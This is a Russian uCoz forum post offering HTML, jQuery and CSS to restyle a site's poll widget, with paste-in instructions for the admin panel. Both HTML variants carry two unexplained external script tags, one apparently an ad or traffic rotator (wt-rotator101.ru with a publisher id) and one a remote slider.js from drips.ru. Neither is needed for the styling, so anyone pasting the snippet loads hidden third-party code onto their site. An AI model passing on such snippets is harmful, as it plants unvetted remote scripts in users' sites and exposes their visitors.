Шаблоны для ucoz
Воскресенье, 19.11.2017, 00:35
Меню сайта
Главная страница Новости Галерея Статьи Форум Друзья сайта

uCoz

Скрипты для uCoz Шаблоны для uCoz Иконки для форума Иконки для групп

Counter-Strike 1.6

Скачать Counter-Strike 1.6 Модели оружия CS 1.6 Модели игроков CS 1.6 Другие модели CS 1.6 Готовые серверы CS 1.6 Другие сервера CS 1.6 Руссификаторы CS 1.6 Background CS 1.6 Программы для CS 1.6 Античиты CS 1.6 Спрайты CS 1.6 Конфиги CS 1.6 Плагины CS 1.6 Патчи CS 1.6 Моды CS 1.6 Карты CS 1.6 Боты CS 1.6

Counter-Strike: Source

Cкачать CSS Перчатки для CSS Руки для CSS Модели игроков для CSS Модели оружия для CSS Готовые сервера для CSS Руссификаторы для CSS Темы меню для CSS Античиты для CSS Плагины для CSS Карты для CSS Моды для CSS Боты для CSS
Категории:
Наши баннеры

Наши баннеры
Наш опрос
Как вам сайт?


Архив
Результаты
Всего голосовало: 1864
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум WEB Мастеров » Система uCoz » Другие скрипты для uCoz » Стилизация опроса uCoz v.1.5
Стилизация опроса uCoz v.1.5
40GloccДата: Пятница, 02.03.2012, 13:24 | Сообщение # 1

Рядовой


Сообщений: 4


[ ]


Нет на месте
Скрин: http://s018.radikal.ru/i504/1202/a1/ae57ba48277a.png

Стилизация опроса uCoz v.1.5 Более улучшенная версия стилизации стандартного вида опроса в системе uCoz.

Для начало мы с вами должны заменить старый html код опроса на новый, для этого заходим в админ панель вашего сайта в системе uCoz Админ панель => Дизайн => Управление дизайном => Опросы => Вид формы опросов

удаляем от туда старый код и устанавливаем новый:

Code
<div class="cell_poll">
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
   <div class="poll_title">$QUESTION$</div>
   <script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <div class="poll_variant">$ANSWERS$</div>
   <div class="poll_niz">
   <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
   <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
   </div>
</div>   
<script type="text/javascript">   
   var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}   
   $('div.answer span').each(function(){$(this).html($(this).html()+' ')});   
</script>


Если вы хотите, чтобы в вашем опросе присутствовал процент проголосовавших за тот или иной вариант опроса, то ставим этот вариант кода:

Code
<div class="cell_poll">
<script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
<script src="http://drips.ru/slider.js" type="text/javascript"></script>
   <div class="poll_title">$QUESTION$</div>
   <div class="poll_variant">$ANSWERS$</div>
   <div class="poll_niz">
   <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
   <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
   </div>
</div>   
<script type="text/javascript">   
   var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}   
   $('div.answer span').each(function(){$(this).html($(this).html()+' <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});   
</script>


CSS:

Наш опрос почти готов, осталось прописать css стили:

Code
/* Ячейка опроса
------------------------------------------*/
.cell_poll {
   float:left;   
   color:#555;text-shadow: 1px 1px 1px #fff;
   width:220px;   
   background: #fff;
   border: 1px solid #D0D1D3;
   padding: 0px 10px 5px 10px;
}

.poll_title {
   text-align:center;   
   font: 115%/1.5 Verdana,Arial,Helvetica, sans-serif;   
   font-weight: bold;
   padding: 5px 0px;
   border-bottom: 1px solid #D0D1D3;
}

.poll_variant {
   float:left;   
   width:220px;   
   padding: 5px 0px;
}

.poll_niz {
   float:left;   
   font: 9px Verdana,Arial,Helvetica, sans-serif;   
   width:220px;   
   padding: 5px 0px;
   border-top: 1px solid #D0D1D3;
}

.poll_left {float:left;}
.procent,
.poll_right {float:right;}

.answer {
   background: #F6FBFC;
   padding: 2px 5px 2px 5px;
   margin: 7px 0px 7px 0px;   
}   

.answer input,
.answer label{
   margin:0;   
}   
.answer div div {   
   height: 10px !important;   
   border: 1px solid #fff;   
   margin: 0px;
}   

.answer div {   
   display: block;   
   position: relative;   
   padding: 0 !important;   
   border: 1px solid #B6B6B5;   
   background: #F4F5F6;   
   margin: 0px;
}
.procent {   
   background: #DCEDF0;   
   padding: 3px 5px;
}

.pollBut {
   font: 11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold;
   color:#b17902!important; text-shadow:1px 1px 1px #fff!important;   
   background:#fed66c!important;   
   border:1px solid #e3b346!important;   
   padding: 4px 8px;   
   margin: 5px 0px 5px 0px;   
}

.pollBut:hover {
   background:#ffe49c!important;   
}
/*------------------------------------------*/
Форум WEB Мастеров » Система uCoz » Другие скрипты для uCoz » Стилизация опроса uCoz v.1.5
Страница 1 из 11
Поиск:
Поиск по сайту
Статистика
Онлайн:


Зарег. на сайте:
Всего: 25636
Новых за месяц: 1
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов: 2
Модераторов: 1
Дизайнеров:
Файловиков: 1
Журналистов: 0
Проверенных: 24
Обычных: 25608
Забаненых: 0
Из них:
Парней: 2087
Девушек: 66
Счетчики:
Сегодня нас посетили:
Друзья сайта
Мы в TOP'ax
Свободно Свободно Свободно
СвободноСвободно Свободно
|